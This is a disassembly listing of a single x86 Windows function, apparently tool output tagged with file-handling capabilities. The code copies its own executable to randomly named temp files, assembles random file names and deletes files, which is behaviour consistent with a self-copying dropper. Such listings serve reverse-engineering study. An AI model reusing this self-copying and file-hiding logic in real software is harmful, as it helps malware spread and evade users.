Function at 0x505faf
Capabilities:
Copy file
Delete file
Get common file path
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
and byte [esi + 0x4a8], 0
and byte [esi + 0x4a9], 0
call fcn.005033b4
movzx eax, ax
push 0x64
cdq
pop ecx
idiv ecx
cmp edx, 0x4b
jge 0x505fe0
mov byte [esi + 0x4a8], 1
cmp byte [esi + 0x4a8], 0
push ebx
push edi
mov ebx, 0x104
jne 0x506014
and byte [esi + 0x4aa], 0
lea eax, [esi + 0x5ab]
push ebx
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push esi
call fcn.00505f2a
pop ecx
jmp 0x50623d
lea eax, [ebp - 0x10c]
mov byte [esi + 0x4aa], 1
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
cmp byte [ebp - 0x10c], 0
je 0x50633f
lea eax, [ebp - 0x210]
xor edi, edi
push eax
push edi
lea eax, [ebp - 0x10c]
push 0x502714
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
lea eax, [ebp - 0x10c]
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x210]
push edi
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x210]
push eax
call fcn.00505ee3
pop ecx
lea eax, [ebp - 0x10c]
lea edi, [esi + 0x5ab]
push eax
push ebx
and byte [edi], 0
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push edi
push 0
lea eax, [ebp - 0x10c]
push 0x502714
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
cmp byte [edi], 0
je 0x50633f
and byte [esi + 0x4a9], 0
call fcn.005033b4
movzx eax, ax
push 0x64
cdq
pop ecx
idiv ecx
cmp edx, 0x32
jge 0x5060d9
mov byte [esi + 0x4a9], 1
cmp byte [esi + 0x4a9], 0
jne 0x5060ef
lea eax, [esi + 0x4ab]
push eax
push edi
jmp 0x5061fb
lea eax, [esi + 0x408]
push eax
lea eax, [ebp - 0x410]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x410]
push 0x501830
push eax
call edi
call fcn.005033b4
movzx eax, ax
push 5
cdq
pop ecx
idiv ecx
test edx, edx
je 0x50614a
jle 0x506143
cmp edx, 2
jle 0x50613c
cmp edx, 3
jne 0x506143
push 0x502744
jmp 0x50614f
push 0x502740
jmp 0x50614f
push 0x50273c
jmp 0x50614f
push 0x502738
lea eax, [ebp - 0x410]
push eax
call edi
call fcn.005033b4
movzx eax, ax
cdq
mov ecx, 0xc8
idiv ecx
add edx, 0x1e
test edx, edx
jle 0x506185
mov dword [ebp - 4], edx
lea eax, [ebp - 0x410]
push 0x501870
push eax
call edi
dec dword [ebp - 4]
jne 0x506172
lea eax, [ebp - 0x410]
push 0x501830
push eax
call edi
call fcn.005033b4
movzx eax, ax
push 4
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x410]
sub edx, 0
je 0x5061d7
dec edx
je 0x5061c8
dec edx
je 0x5061c1
push 0x502734
push eax
call edi
push 0x502730
jmp 0x5061e4
push 0x5025a8
jmp 0x5061ea
push 0x50272c
push eax
call edi
push 0x502728
jmp 0x5061e4
push 0x502724
push eax
call edi
push 0x502720
lea eax, [ebp - 0x410]
push eax
call edi
lea eax, [ebp - 0x410]
push eax
lea eax, [esi + 0x5ab]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.005057e6
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x210]
push eax
jne 0x506339
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [esi + 0x408]
push eax
lea eax, [esi + 0x4ab]
push 0x502718
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor edi, edi
cmp byte [esi + 0x4a8], 0
je 0x5062d0
call fcn.005033b4
movzx eax, ax
push 0x64
cdq
pop ecx
idiv ecx
cmp edx, 0x19
jge 0x5062d0
lea eax, [ebp - 0x210]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x10c]
push eax
push edi
lea eax, [ebp - 0x210]
push 0x502714
push eax
call dword [sym.imp.KERNEL32.DLL_GetTempFileNameA]
lea eax, [esi + 0x4ab]
lea ebx, [esi + 0x5ab]
push eax
lea eax, [ebp - 0x10c]
push eax
push ebx
call fcn.005057e6
add esp, 0xc
test eax, eax
je 0x5062b5
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
jmp 0x5062d0
push ebx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x10c]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
inc byte [esi + 0x4aa]
push edi
push 0x80
push 3
push edi
push 3
lea ebx, [esi + 0x5ab]
push connect
push ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, edi
mov dword [ebp - 4], eax
je 0x50632f
cmp eax, 0xffffffff
je 0x50632f
push edi
push eax
lea ebx, [esi + 0x6b0]
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push dword [ebp - 4]
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [ebx], 0x400
jge 0x50632b
cmp byte [esi + 0x4aa], 0
je 0x50633f
push dword [ebp - 8]
jmp 0x506339
xor eax, eax
jmp 0x506342
cmp byte [esi + 0x4aa], 0
je 0x50633f
push ebx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret